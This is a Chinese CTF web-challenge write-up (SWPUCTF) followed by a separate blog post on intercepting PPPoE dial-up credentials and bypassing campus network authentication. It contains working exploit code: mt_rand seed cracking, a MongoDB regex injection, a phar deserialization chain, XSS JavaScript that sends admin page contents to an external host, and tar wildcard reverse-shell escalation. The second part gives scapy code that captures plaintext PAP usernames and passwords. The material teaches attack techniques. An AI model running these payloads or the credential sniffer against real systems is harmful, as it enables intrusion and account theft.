### 用优惠码买个X？
hint：flag在/flag中
注册登陆会弹出一个15位的优惠码
输入优惠码购买会提示：此优惠码已失效! 请重新输入24位长的优惠码,由此来完成您的购买！
扫目录扫到www.zip，只给了一个source.php
<?php
//生成优惠码
$_SESSION['seed']=rand(0,999999999);
function youhuima(){
mt_srand($_SESSION['seed']);
$str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$auth='';
$len=15;
for ( $i = 0; $i < $len; $i++ ){
if($i<=($len/2))
$auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1);
else
$auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1);
}
setcookie('Auth', $auth);
}
//support
if (preg_match("/^d+.d+.d+.d+$/im",$ip)){
if (!preg_match("/?|flag|}|cat|echo|*/i",$ip)){
//执行命令
}else {
//flag字段和某些字符被过滤!
}
}else{
// 你的输入不正确!
}
?>
mt_srand()函数的随机数种子由rand(0,999999999)生成。然后用mt_rand(0,61)生成随机数来随机截取字符串$str_rand中的一个字符。因此我们只要得到mt_srand()函数的播种种子的值，就可以预测出24位的优惠码。
这里可以参考wonderkun师傅的文章：[php的随机数的安全性分析](http://wonderkun.cc/index.html/?p=585)
我们可以根据最终得到的字符串来反推出mt_rand()函数生成的15个随机数值，然后爆破出种子即可。
这里用到了爆破种子的c语言程序php_mt_seed：<http://www.openwall.com/php_mt_seed/>
然后用wonderkun师傅的脚本得到15个随机数并整理成该爆破程序所需要的格式
因为我用15个爆破不出来，这里我只生成了前面的一部分随机数，不过并不会影响结果。
<?php
$str = "z9uDXeHLCJ7LqRq";
$randStr = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$len=15;
for($i=0;$i<$len;$i++){
if($i<=($len/2))
{
$pos = strpos($randStr,$str[$i]);
echo $pos." ".$pos." "."0 ".(strlen($randStr)-1)." ";
}
//整理成方便 php_mt_seed 测试的格式
//php_mt_seed VALUE_OR_MATCH_MIN [MATCH_MAX [RANGE_MIN RANGE_MAX]]
}
echo "n";
?>
生成的值：
25 25 0 61 35 35 0 61 20 20 0 61 39 39 0 61 59 59 0 61 4 4 0 61 43 43 0 61 47 47 0 61
用php_mt_seed爆破出来一个种子
然后把源码改成生成24位的
<?php
//生成优惠码
function youhuima(){
mt_srand(104038799);
$str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$auth='';
$len=24;
for ( $i = 0; $i < $len; $i++ ){
if($i<=($len/2))
$auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1);
else
$auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1);
}
echo $auth;
}
youhuima();
这里注意，通过题目的响应包我发现题目环境为7.2的，所以这里需要用php7运行这段代码，生成24位优惠码。
接下来就是RCE绕过，利用%0a绕过$。
### Injection???
这道题的验证码是真的恶心。
根据提示的info.php页面，看到php的mongodb扩展，并没有mysql扩展。所以猜测应该是mongodb注入。
尝试admin，admin登陆。弹出username or password incorrect!，所以可以知道用户名是admin。
构造check.php?username=admin&password[$ne]=admin
应该是注入成功，但是返回了所有密码，并不能绕过登陆。但是这里可以用正则[$regex]盲注密码。
例如check.php?username=admin&password[$regex]=^a返回
而check.php?username=admin&password[$regex]=^s返回
说明存在s开头的密码，然后继续盲注即可，最后试出来密码为skmun。登陆即可获得flag。
flag：swpuctf{1ts_N05ql_Inj3ction}
### SimplePHP
提示 flag is in f1ag.php
file.php?file=可以任意文件读取。上传不存在绕过，主要看file.php和class.php。
file.php
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn't exists.');
}
?>
这里用了file_exists($file)判断文件是否存在，能够触发phar反序列化。
class.php
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file;
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|..|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|../i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
_show方法把f1agWAF掉了所以我们不能直接去读flag。
但是Test类的get方法能够获取一个参数做为文件名，然后调用file_get方法返回文件内容的base64值。而且__get魔术方法调用了get方法。我们可以想办法触发__get魔术方法。
Show类的__toString魔术方法调用了未知对象的source属性，而对象str[‘str’]我们可控，因此我们可以传入Test对象去调用不存在的source属性来触发__get方法。
而C1e4r类的__destruct()方法可以用来触发Show类的__toString方法
最终的exp
<?php
class C1e4r{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$a = new Test();
$a->params = [
'source' => '/var/www/html/f1ag.php'
];
$b = new Show();
$b->str['str'] = $a;
$c = new C1e4r();
$c->str = $b;
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($c); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
copy('phar.phar','exp.gif');
?>
上传的最终文件路径为upload/md5(文件名+ip).jpg
触发反序列化
flag：SWPUCTF{Php_un$eri4liz3_1s_Fu^!}
### 有趣的邮箱注册
访问admin.php会显示只有localhost才能访问，估计是要用xss来进行ssrf。
源码中发现check.php部分代码
<?php
if($_POST['email']) {
$email = $_POST['email'];
if(!filter_var($email,FILTER_VALIDATE_EMAIL)){
echo "error email, please check your email";
}else{
echo "等待管理员自动审核";
echo $email;
}
}
?>
可以看到利用了FILTER_VALIDATE_EMAIL过滤器来过滤注册的邮箱，是不安全的。
可以参考p神师傅的文章：<https://www.leavesongs.com/PENETRATION/some-tricks-of-attacking-lnmp-web-application.html>
邮箱地址分为local part和domain part两部分，local
part中可以利用双引号来包含特殊字符。如”<svg/onload=alert(1)>”[@example](https://github.com/example
"@example").com是合法的
所以我们可以构造”<scRipt/src=http://yourvps/123.js></scriPt>”[@qq](https://github.com/qq
"@qq").com进行xss。但是发现打到的cookie为空，所以只能利用ajax来读取后台页面。
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://yourvps/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("POST","admin.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send();
在自己的vps上监听端口，即可收到请求。
可以发现admin.php中有一个admin/a0a.php?cmd=whoami，明显的命令执行。但是一直弹不回来shell，不知道为什么，只好用ajax把命令执行的结果反弹回来。
构造
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://47.106.142.99:8012/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("POST","a0a.php?cmd=ls /",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send();
但是读取flag会发现返回为空，执行ls -al /发现flag文件属于flag用户，且其他用户无法读取。
通过ls我们发现了一个MD5名字的目录，ls一下发现有upload.php，并且属于flag用户。
访问页面，给了一个上传功能，一个备份功能。发现可以任意文件上传，上传php但是不可访问。备份点开可以发现是使用tar命令就行备份。
shadow爷爷告诉我这里可以利用tar命令进行提权。参考：[利用通配符进行Linux本地提权](https://www.freebuf.com/articles/system/176255.html)
其实就是把文件名当作命令参数给执行了。
将反弹shell的命令写入shell.sh，并上传。再接着上传两个文件–checkpoint-action=exec=sh
shell.sh和–checkpoint=1，然后点击备份即可反弹shell。但是一直不能成功，按理说是没问题的，问了题目客服，他也说没问题。这就很迷了23333。
最后把shell.sh内容改成
cat /flag|base64
可以直接读取flag。
### 皇家线上赌场
登陆查看源码可以看到提示<!– /source
–>以及/static?file=test.js弹出的xss，访问一下source可以看到一个目录树和views.py中的任意文件读取。
但是限制了..，我们只能用绝对路径去读取源码。
通过读取/proc/self/mounts可以看到一个/home/ctf/web_assli3fasdf路径，但是里面读取不到views.py的内容。
shadow爷爷告诉我/proc/self/cwd/app/views.py可以读
def register_views(app):
@app.before_request
def reset_account():
if request.path == '/signup' or request.path == '/login':
return
uname = username=session.get('username')
u = User.query.filter_by(username=uname).first()
if u:
g.u = u
g.flag = 'swpuctf{xxxxxxxxxxxxxx}'
if uname == 'admin':
return
now = int(time())
if (now - u.ts >= 600):
u.balance = 10000
u.count = 0
u.ts = now
u.save()
session['balance'] = 10000
session['count'] = 0
@app.route('/getflag', methods=('POST',))
@login_required
def getflag():
u = getattr(g, 'u')
if not u or u.balance < 1000000:
return '{"s": -1, "msg": "error"}'
field = request.form.get('field', 'username')
mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest()
jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}'
return jdata.format(field, g.u, mhash)
还有一个__init__.py
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from .views import register_views
from .models import db
def create_app():
app = Flask(__name__, static_folder='')
app.secret_key = '9f516783b42730b7888008dd5c15fe66'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////tmp/test.db'
register_views(app)
db.init_app(app)
return app
可以看到给了secret_key，可以用来伪造session。
解密题目session
本地搭建环境使用secret_key伪造session，并把用户名改为admin来跳过balance的重置，访问getflag路由。
然后使用User的save方法跳出g.u获取flag。
## 后记
web题质量都挺不错的，把我打自闭了，出题和运维的师傅们辛苦了，orz~。 | 社区文章 |
# PPPoE中间人拦截以及校园网突破漫谈
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
校园生活快结束了，之前还有点未完成的想法，趁着这两天有兴趣搞搞。
此文面向大众是那种在校园内苦受拨号客户端的毒害，但是又想自己动手折腾下的。
## 一些我知道的办法
目前主要的方法可以可以分为移动端和电脑客户端。
### 移动端
移动端基本是基于 http 的 portal 认证，这个解决方法比较多，但依据剧情情况而定。
比如拨号后克隆 mac 到路由器，还有基于这个方法的衍生方法，比如拨号前交换机，登陆后改路由器并复制 mac 到路由器。还有比如虚拟路由转发。
这些其实都是利用的检测的原理，按道理说，portal 并不像 PPPoE 那样，PPPoE 中间是不允许有路由节点的，因为在 PADI
广播包是本地广播，本地广播路由器不会进行转发，所以并不能找到一个目的 PPPoE Server。
这里扯远了，关于 PPPoE 下面再说。
我们接着看看 portal，这个是基于 HTTP 的，大体上的流程是
1. 访问一个 http 网站，比如 http://www.qq.com，因为网关会拦截 http 请求然后重定向到一个形如 http://58.53.199.144:8001/?userip=100.64.224.167&wlanacname=&nasip=58.50.189.124&usermac=1c-87-2c-77-77-9c 的网址。
2. 此时 app 会解析信息，比如 ip，mac。检测的地方就是在这里，比如检测你的手机 ip 是否和 userip 相同，加入你在路由器下，你的 ip 应该是形如 192.168.x.x 的地址，你的路由器的 wan ip 才是 和 userip 相同，还可能会进行比如 mac 判断，还可能检查 arp 表，至于这两样是怎样检测的我按下不表，总而言之，这里通不过检测，app 就判定你的网络环境不对。
3. 然后 app 会将账号或密码进行加密，然后 post 到认证服务器，认证通过后，你这个 ip 就可以上网了。
先说说为什么克隆 mac 有用，因为认证服务器那边是根据 mac 判定的，相同的 mac 在短时间内会获取到同样的
ip，并且短暂时间的断网也是允许的。其他衍生方法原理类似。
再来说说还有哪些办法，这些办法可能并没有之前的好操作。
比如 hook 判定函数
还有比如改 Response（这个办法是前阵子的思路，还没实践是否可行，既然判断参数取自响应包，那么我们应该能想到这个）
我前阵子用的比较多的其实是直接逆向 app
获取加密流程然后自写协议，但是现在看来可能是最费时费力的一种了，不过有一种好处，一个产品大概率是不会换加密算法的，顶多可能改改密钥，截取加密后的某一段。
这些大致上就是我所知道的几种移动端上面的方法了。
### 电脑端
电脑端方面老陈的文章已经写的很全面了，见 [How To : 从Netkeeper
4.X客户端获取真实账号](https://blog.sunflyer.cn/archives/460)
这里面提到了我们可以下手的三个方面
4. 客户端本身
比如 hook RasDialW api 和 CE 暴搜。
但是就如文章中所说，加了保护，可能是自行实现 peloader 也说不定，反正就是相当于没走系统的 api，而是自行搞了一份来进行拨号，这样就没办法通过
hook 系统 api 来获取了。另外暴搜内存也有局限。
拿我们湖北的举例子，湖北的客户端是动态加载一个 dll 来进行账号密码加密，但是这个过程很快，这个客户端主要的操作都貌似是在 dll
中完成，这里我说的快是指，他加载 dll 完成加密然后可能 又调用了它的其他 dll 拨号后，只要一个dll完成了它的“使命”，它会立刻卸载，导致我们通过
CE 手动暴搜内存几乎不可能（这里可能我写的有谬误，不过就我分析湖北的客户端来说感觉是这样）
5. 系统层面
这个就如文章中提到的事件日志相关的东西
6. 中间人
根据 PPPoE 协议的流程，我们完全可以自己搞一个 server 来进行拦截。
下面我们将详细了解这个，以及能够自己动手实现一个简单的 PPPoE Server。
## PPPoE 协议流程
PPPoE 是一个二层协议，工作在链路层。
PPPoE 主要分为两个阶段，一个是发现阶段，我的理解就是两台机器建立起点对点的联系，第二个是会话阶段，这个阶段主要是配置确认，然后开始验证账号密码。
至于后面的分配 ip 的确定我们按下不表，因为此文主要关注的是拦截。
PPPoE 具体可分为以下阶段
7. PPPoE发现阶段(Discovery)
* * 主机广播发起分组（PADI）
* 有效发现提供包分组（PADO）
* 有效发现请求分组（PADR）
* 有效发现会话确认（PADS）
8. PPPoE会话阶段(Session)
* * LCP协议请求确认配置(LCP-Config-Req)
* LCP协议确认配置(LCP-Config-Ack)
* PAP或CHAP验证账号密码
验证通过后开始进行一些后续的分配 ip 以及其他操作。
## PPPoE 发现阶段
### PADI
PADI 是一个广播包，发往 ff:ff:ff:ff:ff:ff 的广播地址，然后这个广播包会在本地网络进行广播。
它的 CODE 字段值为 0×09，SESSION-ID（会话ID）字段值为 0×0000。
PADI 分组必须至少包含一个 Host-Uniq，Host-Uniq为主机唯一标识，类似于PPP数据报文中的标识域，主要是用来匹配发送和接收端的。因为对于广播式的网络中可能会同时存在很多个PPPoE的数据报文。
因为此时发的是广播包，那么我们只需要本机搭建一个 Server 对 PADI 进行响应，就可以开始我们的中间人作业了。
具体流程就是监听网卡，然后过滤 CODE 字段值为 0×09 的包然后进行响应即可。
因为其中的 Host-Uniq 字段在后续的请求中都需要，我们写一个函数把这个字段值揪出来。
#寻找客户端发送的Host-Uniq
def padi_find_hostuniq(self, payload):
_key = b'\x01\x03'
payload = bytes(payload)
if _key in payload:
_nIdx = payload.index(_key)
_nLen = struct.unpack("!H", payload[_nIdx + 2:_nIdx + 4])[0]
_nData = payload[_nIdx + 2:_nIdx + 4 + _nLen]
return _key + _nData
return
需要传入的是一个 Packet.payload，payload 是除去链路层的其他数据，在这里面具体就是 PPPoED 下面的数据
### PADO
当一个接入集中器（Server）接收到一个 PADI 包以后，就需要进行响应，发出 PADO 包了。
PADO 包的 CODE 字段值为 0×07，SESSION-ID 字段值仍为 0×0000。
PADO分组必须包含一个接入集中器名称类型的标签（此处的标签类型字段值为 akkuman），其实就是一个名字，你想填什么都可以。
并且需要包含前面 PADI 包中的 Host-Uniq 字段，这个字段在 PPPoE 的发现阶段都是必要的。
在载荷中可能有多个 tag，他们的格式如下：
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| TAG_TYPE | TAG_LENGTH |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| TAG_VALUE … ~
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
可以看出，标记的封装格式采用的是大家所熟知的TLV结构，也即是（类型+长度+数据）。标记的类型域为2个字节，各个标记的类型所代表的含义具体可以查看 [RFC
2516](https://datatracker.ietf.org/doc/rfc2516/) 或
[PPPoE帧格式](https://datatracker.ietf.org/doc/rfc2516/)
这里的 0x0103 即代表 Host-Uniq，是主机唯一标识，作用在上文已经提及。
那我们可以根据这个要求写一个发送 PADO 包的函数。
#发送PADO回执包
def send_pado_packet(self, pkt):
# 寻找客户端的Host_Uniq
_host_Uniq = self.padi_find_hostuniq(pkt.payload)
_payload = b'\x01\x02\x00\x07akkuman\x01\x01\x00\x00'
if _host_Uniq:
_payload += _host_Uniq
# PADO 回执包的 sessoinid 为 0x0000
pkt.sessionid = getattr(pkt, 'sessionid', 0x0000)
sendpkt = Ether(src=MAC_ADDRESS, dst=pkt.src, type=0x8863) / PPPoED(version=1, type=1, code=0x07, sessionid=pkt.sessionid, len=len(_payload)) / _payload
scapy.sendp(sendpkt)
其中的 pkt 是接收到的 PADI 数据包。
上面的 _payload 中的 \x01\x02 代表是 AC-Name 字段，\x00\x07 是后面的 akkuman 的长度。\x01\x01 是代表
Service-Name 字段，一般为空，所以我们这里直接填 \x00\x00。下文不再赘述。
其中的源 mac 地址和目标 mac 地址我们需要改改。
然后加上 Host-Uniq 字段，封装成包发出去，注意这里的 type=0x8863 是代表发现阶段，0x8864 是会话阶段。
至于这个是怎么封装起来的，这个是 scapy 库的语法，Ether 代表链路层，剩下的依此大家参照图即可理解，最后的 _payload
代表接上一段原始数据，一般就是 bytes。
### PADR
因为 PADI 包是广播的，所以客户端有可能收到不同的接入集中器多个的 PADO 响应包，客户端应该基于 AC-Name 和可以提供的服务（这个参见
RFC2516）从中选择一个合适的接入集中器。
然后客户端就发送 PADR 包到自己选择的接入集中器（将目标 mac 改成 PADO 包中的源 mac 即可），其中 CODE 字段为
0×19，SESSION_ID 字段值仍为 0×0000。
### PADS
当接入集中器收到一个 PADR 包以后，就要准备开始一个 PPP 会话了。
在这个阶段，接入集中器会为接下来的 PPPoE 会话生成一个独一无二的 SESSION_ID，然后组装起来进行发送。其中 CODE 字段值为 0×65 。
根据此我们可以写出一个发送 PADS 包的函数。
#发送PADS回执包
def send_pads_packet(self, pkt):
#寻找客户端的Host_Uniq
_host_Uniq = self.padi_find_hostuniq(pkt.payload)
_payload = b'\x01\x01\x00\x00'
if _host_Uniq:
_payload += _host_Uniq
pkt.sessionid = SESSION_ID
sendpkt = Ether(src=MAC_ADDRESS, dst=pkt.src, type=0x8863) / PPPoED(version=1, type=1, code=0x65, sessionid=pkt.sessionid, len=len(_payload)) / _payload
scapy.sendp(sendpkt)
其中的 pkt 为接收到的 PADR 数据包。
此时发现阶段就已经完成了，接下来就是进行 PPPoE 的会话阶段了。
## PPPoE 会话阶段
PPPoE 会话阶段的抓包并没有那么明显的特征，可能你在不同的时间看到的包的顺序都不太一样。
在此阶段的 Type 为 0x8864，代表 PPPoES，即会话阶段。
### LCP链路配置建立
一个典型的 LCP Request 如下图所示。
Protocol：决定了后面的载荷包含的是什么样的协议报文，类似以太帧的类型字段，是用以区分载荷送给哪个上层协议处理。收下为常见协议号：
* 0xC021: LCP报文
* 0xC023: Password Authentication Protocol （PAP）
* 0xC223: Challenge Handshake Authentication Protocol （CHAP）
* 0x8021: IPCP报文，它是NCP协议的一种 （用来协商分配 ip）
* 0x0021: IP报文
LCP(Link Control Protocol) 是链路控制协议，是 PPP 协议的一个成员协议，PPP 协议在 LCP 阶段默认不做认证协商，LCP
的认证只作为一个可选的参数。
接入集中器和客户端双方通过交互LCP配置报文来协商数据链路。
协商内容包括验证方式、最大接收单元 MRU、魔术字（Magic Number）等选项。 在此阶段 LCP
的状态机发生两次改变，进入会话阶段后，检测到链路可用，则物理层会向链路层发送一个 UP 事件，链路层收到该事件后，会将LCP的状态机从当前状态改变为
Request-Sent（请求发送）状态。 LCP 开始发送 Config-Request 报文（即上图中 LCP 下面的 CODE 字段，为 1 代表
Config-Request）来协商数据链路，无论哪一端接收到了 Config-Ack 报文（LCP 的 CODE 字段为 2）时，
LCP的状态机又要发生改变，从当前状态改变为 Opened 状态，进入 Opened 状态后收到 Config-Ack
报文的一方则完成了当前阶段，应该向下一个阶段跃迁，下一个阶段可能是 Authentication（如 PAP 或 CHAP），也可能是 Network
Layer Protocol（NLP）。 同理可知，另一端也是一样的，但须注意的一点是在链路配置阶段双方是链路配置操作过程是相互独立的。
如果配置了验证，将进入Authentication阶段，CHAP 或 PAP 验证。如果没有配置验证，则直接进入 Network Layer
Protocol 阶段，即开始分配 ip 等操作。
这是在网上找的 LCP 报文格式，其实更建议大家配合 wireshark 抓包来看。
上面我的提到了 LCP 中的 code，LCP协议使用Code字段区分11种报文格式，详细的表见下，平时我们用的比较多的就是 1 和 2
* Identifier：标识域的值表示进行协商报文的匹配关系。 标识域目的是用来匹配请求和响应报文。当对端接收到该配置请求报文后，无论使用何种报文回应对方，但必须要求回应报文中的ID要与接收报文中的ID一致。换句话说，在一个协商数据链路阶段，这个字段的值都是一样的，在本次我的例子抓包中为 1。
* Length：它是代码域Code、标志域Identified、长度域Length和数据域Data四个域长度的总和。
下面是一张图，用来说明 req 与 ack 的交互。
从这张图中可以相信不难理解之前的话了，A 和 B 初始都在 Request-Sent（请求发送）状态。 然后两者都开始发送 Config-Request
报文，只有 A 和 B 都收到了对方的 Config-Ack 报文。 才标志着 LCP 状态变迁的完成，可以向下一个阶段 NLP 或者
Autiontication（PAP 或 CHAP）跃迁。
在协商数据链路配置阶段，点对点（PPPoE是点对点协议）双方至少都发了一个 Config-Request
报文，该报文中包含了发送方对于所有的配置参数的期望值。
关于在协商数据链路配置阶段可能出现的报文，我给大家找了一页 PPT
* 如果对方对于自己发送的 Config-Request 回应了一个 Config-Ack，则说明对方能识别所有选项，并且全部能够被接受；
* 如果对方对于自己发送的 Config-Request 回应了一个 Config-Nak，则说明对方能识别所有选项，但只有部分能够被接受；
* 如果对方对于自己发送的 Config-Request 回应了一个 Config-Rej，则说明对方有部分选项不能被识别，或者不能被接受；
* 如果双方最终收到对方发送的 Config-Ack 报文，则说明对方对于自己提出的配置参数的协商已经取得了一致，这同时也标志着链路建立顺利结束。
如果接收到了 Config-Nak 或者 Config-Rej，这也就意味着自己必须修改相应配置参数的期望值，然后向对方重新发送一个Config-Request报文，且等待对方新的回应。
但是就我抓到的过程中，没看见过在这个阶段有 Config-Nak 的出现。
有了上面的基础，我们再来看我的抓包历史记录
其实大多不用管，只需要知道收到一个 Config-Request 得回一个 Config-Ack，并且自己也得发一个 Config-Request，并等待接收到对方的 Config-Ack。
但是我抓了好几次包，测试了不少次，发现一般情况下，一方在第一次接收到对方的 Config-Request 报文时会回应一个 Config-Rej。后续才开始对接收到的 Config-Request 回应 Config-Ack。
据此我们可以写出代码。
#处理 PPP LCP 请求
def send_lcp(self, pkt):
# 初始化 clientMap
if not self.clientMap.get(pkt.src):
self.clientMap[pkt.src] = {"req": 0, "ack": 0}
# 处理 LCP-Configuration-Req 请求
if bytes(pkt.payload)[8] == 0x01:
# 第一次 LCP-Configuration-Req 请求返回 Rej 响应包
if self.clientMap[pkt.src]['req'] == 0:
self.clientMap[pkt.src]['req'] += 1
print("第 %d 次收到LCP-Config-Req" % self.clientMap[pkt.src]["req"])
print("处理Req请求，发送LCP-Config-Rej包")
self.send_lcp_reject_packet(pkt)
print("发送LCP-Config-Req包")
self.send_lcp_req_packet(pkt)
# 后面的 LCP-Configuration-Req 请求均返回 Ack 响应包
else:
self.clientMap[pkt.src]['req'] += 1
print("第 %d 次收到LCP-Config-Req" % self.clientMap[pkt.src]["req"])
print("处理Req请求，发送LCP-Config-Ack包")
self.send_lcp_ack_packet(pkt)
# 处理 LCP-Configuration-Rej 请求
elif bytes(pkt.payload)[8] == 0x04:
print("处理Rej请求，发送LCP-Config-Req包")
self.send_lcp_req_packet(pkt)
# 处理 LCP-Configuration-Ack 请求
elif bytes(pkt.payload)[8] == 0x02:
self.clientMap[pkt.src]['ack'] += 1
print("第 %d 收到LCP-Config-Ack" % self.clientMap[pkt.src]["ack"])
else:
pass
clientMap 请无视，最开始是打算支持多个 client，并做记录使用，但是发现拦截根本不用实现这个。
其中的方法我们先不展开，到时候会给大家把所有代码放上来，根据方法名大家应该能猜到是用来干嘛的。
### Authentication 阶段
链路建立起来后，应该向下一个阶段跃迁，下一个阶段一般是 Authentication。一般来说就只有 PAP 和 CHAP。
CHAP 在高校拨号客户端中使用还并不算多，大多采用 PAP，所以 CHAP 我们暂且按下不表，相信要是你能看完这篇文章并自己动手实践的话，CHAP
的分析对你来说也是手到擒来。
在这里我们主要介绍 PAP 认证以及最最关键的环节：抓取账号密码。
PAP 的 Protocol 字段为 0xc023
PAP 包格式见下图
从中我们可以看到 CODE 字段为 1，代表一个 Authentication-Request。前面我们说过了，Identifier
字段在链路建立阶段，这个字段的值是一样的，然后跃迁到下一阶段后，这个字段的值随着每个请求递增。
PAP 包的认证方式是由被认证端主动发起，被认证端发送明文口令至认证端，由对方认证。
PAP 并不能防止重放和穷举等攻击，而 CHAP 是由认证端主动发起（challenge 挑战），具体的安全提升大家可以自行查阅相关资料。
其中的 CODE 字段我们可以参见下表
CODE 值 | 报文名称
---|---
1 | Authentication-Request
2 | Authentication-Ack
3 | Authentication-Nak
我们所做的是拦截，所以我们只需要关心 Authentication-Request 的 Data 字段就好，Data 字段中，Peer-ID（用户名）字段，Password字段，它们都是明文的。
这里多说一点关于 Authentication-Ack 和 Authentication-Nak，如果认证成功，认证端会返回一个 Ack
并携带成功信息给被认证端，相反，认证失败会返回 Nak 并携带相关信息。
所以我们要做的就是在收到 Authentication-Request 包时解析出账号密码即可完成我们的小 demo 了。
代码如下
# 解析pap账号密码
def get_papinfo(self, pkt):
# pap-req
_payLoad = bytes(pkt.payload)
if _payLoad[8] == 0x01:
_nUserLen = int(_payLoad[12])
_nPassLen = int(_payLoad[13 + _nUserLen])
_userName = _payLoad[13:13 + _nUserLen]
_passWord = _payLoad[14 + _nUserLen:14 + _nUserLen + _nPassLen]
print("get User:%s,Pass:%s" % (str(_userName), str(_passWord)))
#self.send_pap_authreject(pkt)
if pkt.src in self.clientMap:
del self.clientMap[pkt.src]
print("欺骗完毕....")
0x01 即代表 CODE 字段的 Authentication-Request。我们只需要从这个包里面按照抓包中的格式进行解析即可获取账号密码。
总体完成代码我会放在文章最后
## 遇到的一些坑
就算是一个并不算很困难的东西，但是在做这个东西的过程中还是遇到了不少坑，我在这里记录一下，免得后人和我一样踩坑。
最开始我想着因为都是本机搭建 client 和 server，那么我直接把链路层的 source 和 destination 的 mac
都设置为本机的物理网卡 mac，也就是全部采用第一个 PADI 包中的 source mac，但是我发现 除了最开始的 PADI 和 PADO，后面的包，用
wireshark 根本抓不到，我猜想是不是两个 mac 相同的原因，导致包被丢弃了 client 没收到，或者 client 本身接到这个包，但是发现两个
mac 相同。 于是不继续发送 PADR 了，这个原因我并不明白，可以完整捕获流程的只能是 server
搭建在虚拟机或者网关也就是路由器。这个结果让我十分沮丧。然后我采用了几种我能想到的办法，但是均不奏效。
9. 最容易想到的应该是伪造 server mac 了。但并不能抓到，我怀疑是没办法找到这个 mac，可能丢弃了，但是我不理解为什么就算找不到应该也会发个包吧，不至于抓包记录都没有。
10. 我用工具搭建了一个TAP网卡，我用 wireshark 看了下，包的流经是先经过 TAP 网卡，然后 TAP 会作为一个二层交换机，修改源 mac 和目标 mac 后发往以太物理网卡，然后我采用 server 监听 TAP 网卡，发响应包采用物理网卡，但是依旧是后续进行不下去，虽说这两个mac不一样，但是 client 那边依旧没响应，不知道是 client 丢弃了这个包还是说 client 那边没收到。
### 解决
当然这个问题到最后解决了，这里感谢一下老陈的指点。
其实比较简单，问题就是 npcap，毕竟 scapy 和 wireshark 都推荐这个，我也就采用了这个，但是就像前面所说的，就算伪造
mac，应该也会流经物理网卡，但是 npcap 本地发的包收不到client响应包。
所以采用 winpcap 就能正常了，包括两个 mac 相同也可以抓到。
至于这个具体是什么导致的，还是说是一个 bug，并不是太清楚。
## 你还可以做哪些有趣的事情
拦截以后，你可以自己配合自己的路由器进行拨号。
甚至大胆一点，你也可以尝试给客户端一个成功的 Authentication-Ack，看客户端会是什么效果，要是你继续模拟完整个流程，包括
IPCP，那么客户端会按照你的想法给你发送心跳包吗？
## 代码地址
[PPPoE-Intercept](https://github.com/akkuman/pppoe-intercept)
## 参考资料
* [How To : 从Netkeeper 4.X客户端获取真实账号](https://blog.sunflyer.cn/archives/460)
* [RFC 2516 – A Method for Transmitting PPP Over Ethernet (PPPoE)](https://datatracker.ietf.org/doc/rfc2516/)
* [RFC 1570 – PPP LCP Extensions](https://datatracker.ietf.org/doc/rfc1570/)
* [RFC 1661 – The Point-to-Point Protocol (PPP)](https://datatracker.ietf.org/doc/rfc1661/)
* [点到点协议PPP-百度文库](https://wenku.baidu.com/view/e644ba4f33687e21af45a916)
* [PPP（three P）基本原理](http://support.huawei.com/huaweiconnect/enterprise/huawei/m/ViewThread.html?tid=364813)
